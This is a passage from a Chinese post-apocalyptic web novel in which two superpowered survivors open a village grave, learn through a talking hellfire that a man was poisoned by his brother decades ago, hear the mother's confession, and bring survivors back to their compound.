他不得不承认陆燃分析得很有道理，甚至这就是陆燃的特点，他总是这样，他不需要亲眼看过事件全貌，甚至对他来说，一些错漏百出的叙述本身就已经够了，他很擅长从叙述者的错漏中寻找这个错漏代表的意义。 实实在在的线索，和一个带了属于自己的有色眼镜的人叙述，对他来说，带来的对真相的推进，有些时候甚至是一样的。 但是他还是不太想去相信陆燃的推论，因为比起外人谋财害命，亲兄弟因为纯粹的嫉妒就害死了亲人，这种事更让人无言。 而且如果是这样的话，那几个跟着王家大儿子一起做生意的人，完全就是平白遭了几十年的冤枉，虽然他们好像也没因此遭什么牢狱之灾，但正如陆燃所说，那个年代的好面子在意名声远胜如今，更不要说自己家乡自己村里的名声。 如果换个角度来看，他们做生意做到最后依旧选择了Q市定居，大概是一种有家回不了的背井离乡心态吧。 一时间，江朗不知道该说什么了。 他开着车，好像见到了当年的景象，一群刚从外地回来的年轻人，虽然辛苦，但眼里全是希望，嘴角全是笑容，然后突然间，头子就死了，不光死了，他们还成了最大的嫌疑犯。 而另一边，敏锐的阿婆或许一开始就已经发现了真相，但是她一瞬间就已经做出了决定——她已经失去了一个儿子，难道还能再失去另外一个孩子吗？ 那是她辛辛苦苦养到大一直疼到大的孩子啊……其他人不过是外人而已，那么就顺势推到他们身上吧。 真的会是这样吗？ 江朗觉得心有些梗。 “我觉得……也许只是推测而已，要么我们一会儿路过的时候去问问阿婆，或者去找一些别的证据吧……” 陆燃：“可以，你有问出这个阿婆姓什么吗？” “有，那个中年人喊她绍姨，应该是丈夫姓王她姓绍。” “那就去这个村的墓地看看吧。” 第74章 第 74 章 坟山行（下） “啊？怎么就要去墓地了？” 江朗满脸懵逼, 他还以为调查指的是回村去阿婆那里问问。 陆燃看了他一眼： “一般这种村子的墓地都在附近，而且夫妻俩如果死了一个，另一个的墓碑也会提前立好但是涂红, 又有姓氏，应该很容易找到。” “找到他们的墓地之后, 儿子的就好找了。” “原来如此……” 仗着自己夜视能力强, 陆燃在江朗开到王家阿婆所在的镇附近之后就开始接过了指挥权。 “往那边开试试，有个小山丘。” “okok。” “好像不是这里，看看那边。” “okok。” 江朗主打一个全都“OK”，只当自己是个开车机器人。 绕了半天路, 还真给他们找到了这村子的墓地。 江朗把车在山坡下停好, 贴心地给后座两个救回来的幸存者留了点车窗, 然后两个人就下了车。 虽然两个人都有游戏系统加异能傍身, 但大半夜的墓地实在是太凉飕飕阴森森了，江朗忍不住搓了搓胳膊。 “陆燃, 你那火苗……是时候到它派用场了。” 陆燃这才反应过来, 哦，确实有点用。 虽然他们两个的夜视能力都够好了, 严格来说完全用不上照明工具, 但是这火苗光吃不做太久了，能让它做工的时候还是多让它动动。 这样他的晶体也算死得没那么冤枉了。 他随手一挥, 火苗就在他面前大约几十厘米处冒了出来。 火苗一出来, 看这一片寂静, 神情瞬间严肃了起来—— 好安静, 甚至就连它都感受不到任何生物的气息。 所以，要么是他们的对手极其棘手！有超强的反侦查能力，要么就是他们在埋伏谁！ 它一脸严肃地四处看着, 一边眼观八路一边问宿主：“要我打谁？” “没谁要打。” 尊贵的地狱之火：“……” 尊贵的地狱之火暴动了：“没人要打你喊本座出来干嘛？！” 它昨天烧了大半个晚上的老鼠，可累坏了，一直在休息呢。 “照明。”陆燃诚恳而诚实地回答。 伟大的地狱之火：“……” “……你！” 看着一团真正的火苗火冒三丈还挺有趣的。 陆燃这样想到。 不管伟大的地狱之火怎么叽叽歪歪，怎么指责陆燃这是在浪费它的能力，竟敢将伟大的地狱之火大材小用，它的控制权依旧在陆燃手里，陆燃素来擅长屏蔽周围的吵闹，它吵归它吵，他就拿着它这照照那照照。 江朗也觉得这玩意儿真不赖，不光能照亮好大一片范围，更关键的是话多，极大地冲散了夜晚墓地的阴森氛围。 有了多余的照明，陆燃没花多久，就找到了他要找的东西。 “王……绍……绍涂红了，这应该就是阿婆和她丈夫的墓，附近再看看应该就能看见王家大儿子了。” 果然，往后走两步就是一个刻着“父王名母绍英华”小字的坟。 陆燃操纵着火苗在坟墓周围转了一圈，基本确定了这个坟墓的构造，是接近封死状态的那种，他从背包里找了根铁棍出来，使劲往应该是缝隙的地方一戳，把坟撬开了。 这一连串动作过于迅雷不及掩耳之势，江朗反应过来的时候，王家大儿子的坟都已经被撬开了。 “我去，我们就这样撬人家坟？” 陆燃一脸迷惑地转过头来：“那不然我们上墓地来做什么？” 江朗：……好像，好像也是哈，不开棺来墓地干啥呢…… 陆燃又补充：“我没破坏石板，待会儿再盖回去就行。” 江朗瞬间：“还是你考虑周到！” 围观的地狱之火：？ 算了，关它什么事。 江朗好奇地探头往坟里看去，先看见了两床已经破得差不多了的花被子，还有一些七七八八的随葬品，都是那会儿时兴的日用品。 陆燃则用铁棍挑开那两床被子，露出了下面的骨头。 “拿去验一下？” “我们会操作吗……” “不知道，路过的最近的公安局好像也挺远的。” 尊贵的地狱之火大人听着他们这几句遮遮掩掩的话，终于忍不住问道：“你们在说什么？” 陆燃：“在讨论怎么查出这个人的死因。” 火苗：“！” 它瞬间抬起了胸膛——虽然它并没有胸膛这个东西。 “哼哼！” 陆燃：“……你在哼哼些什么。” “哼哼！！” 陆燃和江朗看这火苗比刚刚更加抬头挺胸了，还时不时睁开眯起的眼睛看他们一眼，颇有种“一切尽在不言中”的得意感。 但问题就在于……他们真的不知道他在得意什么啊！ 陆燃满头雾水。 江朗是个能屈能伸的，当场开口：“尊贵的地狱之火大人对此有什么重要指示吗？” “哼哼！我的名字可是叫地狱之火啊！” “地狱这两个字你们两个凡人总该认识吧。” 江朗瞬间觉得自己的脑袋转了过来：“你的意思是……你不仅仅只是一团普通的火，更重要的是属于地狱的火，所以你有类似于判断别人死因的功能吗？” “没错！不光是死因！凡是死者，我可以看见他们一生的轨迹！绝对不会有任何错漏，凡经我眼的，俱是真实。” “我去！这么牛逼！” 江朗瞬间星星眼了。 “陆燃你看你这个异能就是很牛逼啊！这可不是普通的火！居然还有这种功能！” 陆燃忍不住吐槽：“我又不当侦探不当判官的，这能有什么用？” 他深深地觉得这个异能真是找错人觉醒了，这不该找个正义感爆棚爱当审判者的人觉醒吗？在他身上不是纯属浪费吗？他最烦管别人闲事。 火苗完全无视了主人的冷淡，反正有江朗这个捧场的它就很满足了。 “就这个人的死因是吧？让本座来看看！” 火苗瞅了陆燃一眼，这一眼充满了翻身农奴把歌唱的得意，颇有还不快来操作的言外之意。 陆燃忍不住笑了一下，他该说什么，这火苗已经具备了自我PUA的良好脑回路，只是从被动干活到主动干活，就已经觉得非常高兴了。 挺好。 他操纵着这团火苗，小心翼翼地绕开了坟内的所有易燃物，让它精准地蹭上了王家大儿子的骨头。 “怎么样？” “王建国，王名与邵英华之子，幼时顽劣，被揍数顿仍不悔改，弟弟王平志出生后，性情大变，从顽劣孩童变为了稳重大哥，十四岁出村打工赚钱，遇到贵人教了他开车，靠当司机赚了第一桶金，后靠倒卖眼镜起家。” “……” “二十八岁时风光回村，回村后重修了村里的祠堂，修了出村的路，并答应要带乡亲们一块致富，由此身边多了一堆村里挑出来的下属。” “……” 陆燃：“说重点。” 地狱之火气鼓鼓地瞪了他一眼：“我这还不够重点吗？我已经省略了他的一大堆生意细节和生意伙伴了好吗，难道你想听他是怎么走私眼镜腿儿的吗？” “我已经尽力在挑重点了！你知不知道这人的人生经历在我眼里是快速播放但一点细节不漏的，我能精准挑出重点来已经很不容易了！” 陆燃看它眼看着真要炸毛了： “好吧，辛苦了。” 于是，炸毛边缘的地狱之火又哼唧了两声，平静了下来，继续看王家大儿子王建国的生平。 这一次它懒得说话了，几秒后才突然开口：“三十四岁时，王建国再次回村，过完年后因毒致死。” “看得见是被谁毒死的吗？” “他弟弟。” “看得见他弟弟现在在哪吗？” “喂！你当本座是什么了！那得有他弟弟的尸体我才能判断！” 陆燃耸了耸肩，将它收了回来。 至少证明了他的猜测。 江朗一时不知道该先赞叹陆燃的料事如神，还是先叹息这一桩悲剧。 陆燃：“你还想去那个阿婆地方吗？” 江朗双眼间露出了些迷茫： “我不知道……有点想去，但又不知道去了做些什么。” 陆燃：“那就去。” 两个人沿着山间小路慢慢走了下来，火苗已经被陆燃收了回去，江朗沉浸在自己的思绪之中，倒也无所谓周围的有没有亮光了。 陆燃随手拉开车门—— “啊啊啊啊啊啊啊！！别过来别过来！我打！我打！我打打打——打死你们！” 陆燃：“……” 被凄厉的尖叫声吓了一跳瞬间从自己的思绪中被吓醒了的江朗： “……！什么情况！” “啊啊啊啊——嘎？是你们啊两位大侠！你们去哪了啊啊啊！我一觉醒来一看人都没了外面好像还是墓地我真的……我真的……” 绝望的中年大叔感觉下一秒就要哭出来了。 他身边原本一副眼高于顶模样的异能者现在也是缩在他身边瑟瑟发抖试图和他抱团取暖。 太恐怖了！ 他们俩上车之后没多久，就直接睡着了，毕竟一个多月没睡好，再加上微微颠簸的道路简直就是催眠神器，哪怕前排江朗和陆燃在说话，他们俩也靠在车窗上，进入了呼呼大睡模式。 结果一觉睡醒，前排的两位大侠全不见了！只剩下两个空荡荡的座位！ 然后往车窗外一看……！什么阴森的荒郊野岭啊！ 远远看去，山上好像还有火光在闪烁！是……是鬼火吗？！ （地狱之火：……鬼火你大爷！） 这一整个误入恐怖片片场的感觉让大叔和原本自恃自己不是普通人而高大叔一等的年轻异能者，吓得一起僵在了后座上。 两个人维持着僵硬的脖颈，卡啦啦地转向了对方，哆哆嗦嗦地问： “怎……怎么回事？这……这是在哪？” “我……我不知道啊……难道说……” “难道说什么？你倒是话别说一半啊！” “是……是那种车开着开着就从现实道路开到黄泉路……上去了的……情况吗？” “喂喂喂喂！你别吓我啊！” “咚——” “啊啊啊啊啊啊啊啊啊！！” 不知道什么东西撞到了车后窗上，吓得两个人直接抱头鼠窜，但在车内部鼠窜显然不是个好主意，两个人齐齐撞上了车顶，痛得呲哇乱叫，而且更悲剧的是尖叫声也没法掩盖他们身后车窗传来的一声又一声咚咚作响的声音。 简直跟在催命一样！ 而就在这时！ 车门被打开了！ 中年大叔脑内闪过的第一个想法是——我靠！我就这么倒霉吗？！怎么偏偏开在我这边！明明另一个人才有异能啊！能不能去他那！至少他没准还能抗住！ 他悲伤之中爆发了力量，双手乱抓中不知道从哪抓到了一个有点轻但至少感觉上是个工具的东西，疯狂在眼前挥舞了起来： “啊啊啊啊啊啊啊！！别过来别过来！我打！我打！我打打打——打死你们！” 直到听见熟悉的属于大侠的声音。 他这才恐慌地睁开了眼睛—— 太好了！！！活了！！！ 然后才顺着月光看见了自己手中的武器——一个苍蝇拍。 他瞬间有些滴汗又有些后怕，还好不是真的怪物……不然就这么个武器，他今天是必死无疑啊…… 陆燃走到江朗身前，淡定地关上了后车门，将恐慌的两人留在了车门后，然后绕到车前门，坐上了副驾。 江朗本来还有些尴尬，尴尬于他想着他和陆燃来回也就一会会，而且这事儿也和他们俩无关，就没必要叫醒他们了，让人睡着就挺好。 没想到他们醒得这么快，还被吓成了这样 不过也是，这往窗外一看，一片漆黑里一排排的墓碑，这……他们怕成这样太情有可原了！ 换成他估计也以为见鬼了。 不过他刚尴尬到一半，陆燃就快准狠地关闭了他的尴尬通道，嗯，放弃尴尬，上车开车！ 上车后，他倒是一边发动车，一边回头跟那两人解释： “不好意思啊，刚刚我们是上山找个人……” 谁知道他这话刚出来，原本就在后座不停哆嗦的大叔更是一哆嗦，他身旁的年轻异能者更是瞳孔一震，就差缩进座位中间了： “你你你你——你们……上坟山找……找人？” 江朗：“……” 陆燃忍不住笑了。 江朗立刻解释：“不是！！！我们是去找个死人！！！” 他不解释还好，这一解释更是越描越黑，后座两人齐齐面露惊恐神色，就差抱团取暖了，看着江朗的表情就像看活阎王，或者前来索命的牛头马面。 这次陆燃是真的忍不住笑出声了。 江朗：“……” 只能叹息一声，默默抓紧了方向盘，踩上了油门，他还是安静老实地当他的司机吧…… 第75章 第 75 章 画上句点 江朗很快就放弃了解释他和陆燃到底在坟山上做什么, 直接油门踩到底，一路朝阿婆所在的村子开了过去。 就在他已经彻底放弃思考之时，身后却幽幽地传来一声： “你们……你们真的是两位大侠吗？” 江朗：“……嘎？” 什么意思, 什么叫做我们真的是我们吗？ 他困惑地回过头，看见两双黑夜中惊恐的眼睛, 这俩人显然正处于一种抱团鼓励的状态。 他刚要问这到底是啥意思, 就听见右侧传来陆燃的一声轻笑：“你觉得如果我们是鬼的话，会主动告诉你吗？” “好像是哦……” 大叔也意识到自己问了个蠢得不能更蠢的问题，但他还是忍不住挠了挠脑袋：“主要是你们开的这路，不是朝Q市的方向啊……我真的很害怕你们是不是被鬼换人了, 现在正打算带着我去走黄泉路……” 江朗黑线, 原来是这么个思路, 他还以为大叔在担心啥呢！ 江朗：“黄泉路哪有这么好走！啊不对……什么黄泉路啊……是这样的, 前面有个村子有个奶奶，下午的时候不肯跟我们走, 我们现在打算再去问问。” 他省略了大量前情提要, 怕再吓到这俩人。 后座两人很快就松了口气： “原来是这样啊……真是辛苦，你们真是好人啊！” 中年大叔和年轻的异能者终于安心了, 虽然他们不敢接着睡了。 原本的困意早就消失在了云边。 很快, 他们就回到了王家阿婆所在的村庄附近。 他和陆燃打算走过去，车内的两人就让他们在车上待着, 他熄火, 然后照例摇下了一部分后车窗。 车窗刚往下要了点, 后座就传来两声惊恐的叫喊： “不用开不用开！” “大……大侠, 你开窗干嘛？！” 江朗回头：“啊？但是我们要出去一会儿，别待会儿给你们憋死了。” 中年大叔忙不迭地连连摆手：“不用不用，真不用, 这玩意儿开了我心慌，实在不行你就把钥匙留给我，我憋不住了就开门呼吸一下……” 江朗：“那……那也行吧……” 他把钥匙递给大叔，倒是不担心他把车开跑了，这是末世，想要车满地都可以捡，顶多就是带钥匙的不好找而已，但其实他也掌握了徒手打火技能。 而且大叔和这个年轻人要有这个黑夜中独自开车走人的胆量，刚刚也不至于吓成那样了…… 于是他们安心地将看车的任务交给了大叔，朝阿婆那屋走去. 刚刚开车来的路上有大叔插科打诨，打断了他的思绪，但现在又只剩下他和永远安静永远沉默永远胸有成竹的陆燃了，也就是说，他不得不重新面对这个问题—— 他回来这里，到底是想做什么？ 是想给死去的王家大儿子讨个公道，逼阿婆面对那她本来就已经烂熟于胸的真相？还是劝她放过自己，忘记这桩二十多年前的旧案，在末日来临之际，好好感受一下生命珍贵，争取再多活几天是几天？ 其实他真的不知道。 他倒是知道陆燃会怎么做，在陆燃看来，人有权选择自己的生活，甚至生死，至于他们的选择好不好，与他无关，他可以一眼看出其他人的选择会将他们引向怎样糟糕的未来，但是他一句话也不会说，因为他不觉得这是他应该插手的事。 陆燃之所以会回来，只是陪他而已。 江朗忍不住叹了口气，走一步看一步吧。 眨眼间，那熟悉的老房子就又出现在了他面前。 他苦笑了一下，希望能多走些时间的时候路反而显得那么短了，亏他还特意把车停远了些。 他深吸一口气，走上前，敲了敲阿婆家的窗，一边敲脑子里一边想着，这个点阿婆还醒着吗……要是没醒着的话他们是不是明天再来就好了…… “谁？” ……居然还真的醒着！ “阿婆，是我们，白天来过的两个人。” 他过高的听力让他听见了一阵窸窸窣窣的动静，然后是含混不清的一句：“不是说让你们回去了吗？” “……阿婆，我们知道二十年前的事了。” 漫长的沉默。 阿婆似乎没打算问他们知道的是哪个版本的真相。 因为江朗的语气太明显了，他从来不擅长掩盖自己的语气与情绪，那些悲哀，怜悯，与哀痛，都毫无保留地从他一句“我们知道了”中溢了出来。 于是，门内传来了踢踢踏踏拖着身体走路的声音，那种老年人走路时特有的拖沓声音。 他们看着门上塞着的报纸，被一叠一叠抽掉，然后是铁钥匙插进大铁锁的声音。 门吱呀一声开了。 朦胧的月光落在所有人身上，江朗看见了一张痛苦，后悔，但又有几分“终于被人发现了”的释然的脸。 于是江朗就明白了。 这就是他要做的事，充当一个忏悔的树洞，无论她该不该获得解脱，他都想让生者获得解脱。 “进来吧。” 阿婆打开门，让他们走了进来。 然后她没停，慢慢地继续往里走，绕过了那张大桌子，绕过了二十年前应该很贵的电视机，掀起了一道帘子，然后绕过一个红木柜子。 这是一个很典型的过去会有的柜子，上面还压了一大块玻璃，玻璃下面有一张又一张照片。 阿婆下意识地抚过那些照片，眼中闪过几丝怀念。 江朗和陆燃也看见了那些哪怕压在玻璃下但也已经褪色的照片，应该都是王家大儿子发达了之后拍的。 照片上大多都是三个人，Polo衫加金链子，微微有些啤酒肚发际线也堪忧但一脸意气风发的中年人，旁边坐着头发尚未花白的阿婆，然后就是一个看上去年轻许多的年轻人，他脊背微微佝偻，明明是大高个，比旁边那个中年人还要高的个子，却习惯性地缩起了身体，双眼虽然盯着镜头，但总有种想要闪躲的感觉，如果不是知道他做了什么，江朗大概会觉得他是个非常老实且胆小的人。 红木柜子不是阿婆的终点，她脸上的怀念一闪而逝，她继续往里走。 江朗和陆燃看见了一张床。 一张披了好几层蚊帐的床。 他们嗅到了一股诡异的味道。 该怎么形容呢？ 这是一股非常复杂的味道，有一部分是腐朽的气味，就像是有尸体在这里一样，如果不是刚刚在坟里见过了王家大儿子的尸骨，他都要怀疑阿婆是不是把大儿子的尸体藏在家里了，不过这腐朽气味里又掺杂了大量尿骚气，所以排除了是尸体的可能。 除了这种腐朽气味以外，更明显的是一种湿气，那种走在满是浮萍的山间池塘边，会闻到的石头上的青苔气味。 然后阿婆将那一层层蚊帐慢慢拆开，掀了起来。 她的动作很平缓，还有空闲将蚊帐在床柱上绑好，她做这件事做得很认真，视线完全就在手上。 江朗和陆燃的视线，则完全被床上的人……或者说东西，吸引去了。 那大概是个人吧，不过也只大概看得出个人形了，它的大部分表面，都被那种青色的苔藓覆盖了，苔藓在往外长，有一部分已经蔓延到了床边。 苔藓也在向内长，它的眼眶里已经变成了一团团的苔藓，而非眼球。 窗边有几个大桶，几个脸盆，里面全是苔藓，旁边放着一把铲刀，铲刀至少刚刚才用过，因为还有湿漉漉的痕迹。 大概是阿婆一直在为床上的人铲去这些一片片长出来的苔藓吧。 “他是那天之后变成这样的吗？” 江朗问，当然他还有后半句没问——这就是你觉得这是报应的原因吗？ 阿婆奇怪地看了他一眼，虽然她年迈的脸庞上其实表情并不大，但那种困惑依旧溢于言表。 “告诉你以前的事的人，没告诉你他很久之前就已经变成植物人了吗？” 这倒是为陆燃解答了一个疑惑，他的精神链接是怎么漏掉这个污染物的。 既然对方本来就没有意识，只剩下脑干在运作，甚至变成污染物后也依旧如此，这些苔藓除了安静地生长以外没有任何攻击性，那么他的精神链接愣是没探测到任何意识，倒也说得通了。 阿婆看向床上的小儿子，叹了口气：“阿良不聪明，他喂给他大哥的那瓶农药，是从家里拿的，我那天一回来，就看见农药瓶空了。” “我以为阿良吞药了，因为他大哥回来之后他就一直不太高兴，我到处找他，没找到他，却看见了……” 阿婆说到这里不肯往下说了，她确实想要一个忏悔的地方，但有些话哪怕过去了几十年，依旧很难说出口。 “都是报应啊——都是报应啊……” 她重复着这句话，浑浊的双眼间泛起了两颗泪珠。 然后滴落。 陆燃：“你本来是怎么打算的？在我们来以前。” 阿婆伸出手，用袖子背面抹了抹眼泪：“打算？能有什么打算……饿死之后，下地府去给大郎赔罪。” 陆燃点点头，看向江朗：“走了吗？” 江朗这次没有犹豫，点了点头。 他在进门的那一瞬间就理清了自己混乱的思绪，他之所以非要来这一趟，只是为了给阿婆一个将当年真相说出口的机会，这个目的已经达到了，其他的事情剪不断理还乱，一切遵循阿婆的意愿就好。 两个人安静地从正门离开，上车后，江朗朝外看了一眼，那道门依旧没闭上。 也许是阿婆觉得说出口了就不用再熬着等饿死了，等外来的污染物直接杀死她更快更无痛。 也许是阿婆还沉浸在过去的思绪中不愿从那张床前或者那个柜子前离开。 也可能只是阿婆年纪大了走得慢，还没走到门口关门而已。 第76章 第 76 章 坏消息与好消息 “两位大侠你们可回来了！” 江朗和陆燃刚拉开车门, 就迎来了后座两位热情的欢迎。 感觉他们就差涕泪交加地放鞭炮了，明明周围一个污染物都没有，江朗早上全清理了, 而且他们又在完全封闭的车体内部，安全得狠, 但这两个人看起来愣是跟劫后余生了一般。 江朗原本复杂的心情瞬间消散了。 他滴汗地坐上了驾驶座, 一路平稳地将车开回了海岸小区。 “到了，这里就是海岸小区。” 开到小区门口那条路上的时候，江朗好心地提示了一下后座的两人。 两人离开好奇地趴上了车窗，月光虽然有些糊, 但是今晚胜在天上几乎无云, 所以他们清晰地看到了江朗之前就描述过的那个“小区”。 “我靠……那些巡逻的是保安吗？” “是的, 小区的异能者, 轮班巡逻。” “我靠……他们居然还有保安，太牛了。” “天哪……这里难道是天堂吗？” 江朗：“……” 中年大叔和年轻异能者晕晕乎乎的, 齐齐看着窗外的小区大门发呆。 显然, 他们没想到真能见到这么一个和末日前几乎相差无几的还在运转的小区。 哪怕早已听江朗描述过了，他们还是习惯性地降低了脑补, 他们脑海里想象的还是那种电影电视剧里的末日基地的样子, 已经准备好看见废墟中的篝火（？）了，他们没想到, 自己真的能在这一片末日景象中看见如此……如此平常的一幕。 两人下意识地都抹了把脸, 虽然眼泪并没有像他们担忧地那样掉下来。 “陆哥, 江哥, 你们回来啦？” 门口的巡逻异能者看见熟悉的红色越野车，在车窗外敲了敲，和他们笑着打招呼。 摇下副驾车窗后, 陆燃也朝对方挥了挥手：“嗯。” “我看看你们又带回来几个人！” 年轻的巡逻者好奇地探头朝车后座看去，然后就看见两只呆鸡。 “哈哈哈你们好呀，欢迎来到海岸小区，以后就都是邻居了！” “你好……你好……” 打完招呼后，年轻巡逻者就重新看向了陆燃和江朗：“又带回两个人啊，陆哥你们真厉害！没准再过段时间我们小区就要住满人了，得去清理隔壁小区了哈哈。” 伴随着巡逻小保安的爽朗的笑声，红色越野车驶入小区内部，结束了今天的工作。 陆燃和江朗找了间空房间让这俩还呆滞着的幸存者住了下来，明天再带他们去找张老师登记。 然后他们就去睡觉了。 第二天，照样顺着昨天的路线向前搜寻幸存者。 其实今天就能到河镇了，也就是于檬妈妈所在的地方，陆燃和江朗没有选择提前通知于檬，怕她提起希望，那样的话，今天对她来说会很难熬。 两个人风驰电掣地开在已经来过一趟因此异常熟悉的公路上——虽然就算不熟也无所谓，都末世了，开错路又能怎么样，违规掉头还能再扣你分不成？ 先快速开到了植物系异能老爷子的那栋小房子，今天出来除了救人，还有个任务就是和老爷子交换一些物资。 这年头新鲜蔬果都是战略性物资，他们为了装货，这次特意在后备箱摞了一摞菜市场装鱼的蓝塑料盒过来。 “谢谢爷爷哈！” “有什么好谢的。” 爷爷收了他们的自热火锅，可乐以及早上张婶刚做的被装在保温盒里带过来的饭菜做交换。 虽然他的隐居生活并不在意生活质量，但是偶尔吃点垃圾食品和热菜也不错。 然后继续向前，清理掉两个没有任何生存迹象的村子里的污染物后，他们终于来到了河镇。 河镇和之前的镇子差不多，存活率不低，他们总共找到了三个幸存者。 只是……其中没有一个是于檬的母亲。 江朗沉默了一会儿：“要么我们再往前找找？没准她妈妈觉醒了异能所以去了别的地方呢？” 虽然这话说出来，他自己都不信，如果于檬的妈妈真的觉醒了异能，那也该是往Q市走，毕竟她女儿就在Q市，但是他们一路过来都没有遇到她，所以这个概率微乎其微。 不过总比完全放弃希望好。 陆燃点了点头，同意继续向前，反正他们现在只找到了三个幸存者，车里还塞得下人。 趁着还没到饭点，他们又搜寻了河镇附近的四个村子，找到了一个幸存者，不是于檬妈妈，于是最后的希望也破灭了，这里离河镇已经快一个小时车程了。 江朗叹了口气，还是要回去告诉于檬这个坏消息啊…… 江朗从来都苦手告诉别人坏消息，更何况还是这种级别的坏消息…… 陆燃虽然不苦手，但是他很难在讲述坏消息的时候调整出那种让人觉得他富有同情心的表情。 被他通知过坏消息的人反应都很不好，他还挺喜欢于檬这个警惕又多疑的孩子的，所以他不太想由自己去创伤对方。 因此，这个任务对他们两个都有点难度。 两个人沉闷地开着车回海岸小区，大概是前座的气氛太沉闷了，后座的幸存者们劫后余生之中都愣是没敢互相攀谈，就这么一路安静地回了海岸小区。 下了车后，江朗深吸了一口气，看向陆燃：“你来还是我来？” 陆燃：“还是你来吧。” 江朗：“嗯……” 他们俩迈着沉重的脚步走上楼。 走到王家的房门面前，敲了敲门。 然后他们就听见一阵极其快速的脚步声。 江朗立刻就觉得不好，完蛋了，听起来是于檬，而且听起来是一直在等待等得甚至有些焦急了的于檬。 门刷的一下打开，来开门的果然是于檬。 “呃……” 江朗瞬间有些失语。 但他还什么都来不及说，就看见年轻的女孩脸上瞬间失去了全部血色。 江朗瞬间意识到，他的表情一定出卖了他。 “你们没找到她对不对……” 江朗无奈地点了点头。 于檬瞬间失去了所有力气，但她死死地抓紧了门把手，不让自己瘫坐在地。 她沉默了好久，陆燃和江朗也就在门口沉默地站了好久，江朗脑子里转过了无数安慰的词，但总觉得此时此刻反而说不出口了……陆燃则是深知在这种情况下，他说出口的任何一句话都有可能成为击沉对方的最后一根稻草，所以全程保持了安静。 最后还是于檬先开口的：“这也不代表她一定不在了对吗？” 江朗下意识就想说“是的”，但是他死死地憋住了自己想要应和对方的冲动，这样虚假的希望，对此时的于檬实在有害无益。 始终没有听到任何回答的于檬，双眼中的最后一丝希望也渐渐散去了，她的双眼逐渐失去了焦距，像是完全灵魂出窍了一般。 江朗实在受不了这个氛围了：“那个……你节哀顺变，不要太难过，你妈妈如果知道的话，肯定也不会希望你糟蹋自己的身体对不对，你还活着对她来说一定就是最好的事了，所以……所以哪怕是为了她，你也要尽力好好地活下去。” 好半天，于檬终于回过了神，她认真将江朗刚刚说的那些字重新在脑海中组成完整的句子，然后轻轻应了句：“嗯。” 然后又是一句：“谢谢。” 江朗叹了口气，和陆燃离开了王家的门。 两个人都有些安静，末世中生离死别太多，其实本来早就见惯了，但是被人托付了希望又不得不亲手打破别人的希望这种事……果然还是不要再来一次了吧…… 顺手拐进阿婶家吃了顿饭后，两人又出门了。 下午的搜寻依旧从河镇开始，他们打算搜到从河镇往西望可以看见的那座高山为止就回来，因为那座山很高，地形也很崎岖，末日前就没怎么通车，一般人都从前面的水路走，他们开的车，不太方便过去另外一个省。 但奇怪的是，从河镇向西，他们开了一段又一段路，经过了好几个村子加两个镇子，却一个活人都没看见。 江朗的湮灭之环再次落下的时候，他和陆燃脸上都露出了些困惑的神情。 看设施看房屋新旧程度，这几个村子和镇子应该并不是什么人烟稀少之地，这些地方的污染物密度也很正常，和其他村子相似，实力也没有特别突出，不存在什么特别难搞的污染物…… 江朗：“怪了……这几个村子的人都去哪了？” 陆燃也毫无头绪，这边和前面的村子几乎没有什么大的差别，完全想不到有任何全灭的理由。 但是找不着人也算完成了排查任务，两个人就开着车回海岸小区了。 但他们俩开回小区时，还什么都没来得及干，仅仅是停下了车，他们那辆越野就瞬间被蜂拥而上的人群围住了。 乌泱泱的人趴在他们车上，虽然应该不是自愿的，是被后面的人挤了上来，但哪怕是以一种趴在车上的姿势，他们看起来依旧十分激动，口中不停地说着什么，脸庞涨得通红。 陆燃：“？” 怎么个事？不知道的还以为二次末日来临了，这些人颇有些丧尸围城的气氛。 江朗边摇下车窗边大喊：“怎么了？怎么了！” 但是他的声音完全淹没在人群的嘈杂音量中了，他感觉自己脑壳嗡嗡的，什么都听不清，颇有种回到了大学校园时期自己正在食堂打饭的感觉。 陆燃干脆地推开车门，倒是没下车，就那么站在车的脚踏垫上，凭借着高度优势俯视着人群。 大概是他自带一种生人勿近的气质，虽然门开了，但是原本蜂拥挤在车上的人反而稍微后退了点，给他留出了一丝空隙。 陆燃又微微皱眉，提高音量问道：“怎么回事？” 大概是他自带的冷场和震慑效果，原本七嘴八舌的大爷大妈大叔大婶们瞬间安静了大半，或者说他们也终于发现他们这么吵江朗和陆燃反而一个字都听不见了。 最后剩下两个嗓门巨大的人一人一句问道： “昨天来的那个小池村的幸存者说他们村有个能种新鲜菜的植物系异能者是真的吗？” “植物系异能可以让菜一天一熟是真的吗？” “他不肯来海岸小区是觉得不安全是真的吗？” “喂喂喂！我哪里说过他是觉得不安全才不来的！我原话是他不喜欢人多的地方，所以哪怕小池村不安全他也不想去别的地方！” 话痨大叔急了，远在“千里之外”开始给自己说的话辩论。 幸好他嗓门大，不然隔着这么一大群人，还真没几个人能听见他在说啥。 江朗这下终于听明白他们在激动什么了，也打开车门，挠挠头：“是的，是有个植物系异能者，能力确实是一天能催熟一次他所掌握的植物，但是他不来我们小区是因为不喜欢在人多的地方生活……和危不危险没关系。” 人群中突然冒出一个声音：“他不肯来就开条件让他来啊！” 陆燃看了眼，末日前这个人应该是做老板的，从长相到气质都很像他和江朗当时在C市碰到的那个想让他们护送他回去的中年男人很像。 江朗虽然脾气好，但最烦这种不顾别人意愿的人，他立刻沉下脸色：“别人不愿意就是不愿意，你还能强逼着人来吗？” 江朗身为这个小区最强的三位异能者之一，从来没给人摆过脸色，大家早就习惯了他和颜悦色像个邻家后辈的模样，此时突然见到他冷下脸不耐烦的样子，一时间也不敢说话了。 陆燃从车上跳下来：“饿了，该吃饭了。” 如果说江朗突如其来的冷脸是打了个大伙猝不及防的话，陆燃这短短一句话，就让人下意识给他们让出了一条路。 说实话，陆燃身上有股子奇怪的气质，让人不太敢靠近他，小区里的人之所以敢跟他搭话，也只是因为他每时每刻都和江朗走在一起而已，而且也不是敢和他搭话，顶多就是他们和江朗说话的时候，万一谈到什么陆燃觉得有点意思的话题，他就会突然插入进来说几句而已。 那种让人不自觉觉得说什么都在打扰他的气质，让人觉得哪怕他只是平常地说了句“该吃饭了”，他们的第一反应也都是自己打扰他吃饭了，该让让了。 “今天轮到两位来我家吃饭了！” 这句极其类似于端茶送客语境的话倒是光速被人群里一位阿姨接住了，其他人也就不好意思围着了。 虽然看他们的表情，陆燃就知道他们之后肯定会聚在一块继续讨论这个问题。 于是，在真的去吃饭之前，他先走到车后，打开了后备箱，露出了他和江朗从那位爷爷地方带来的新鲜蔬果。 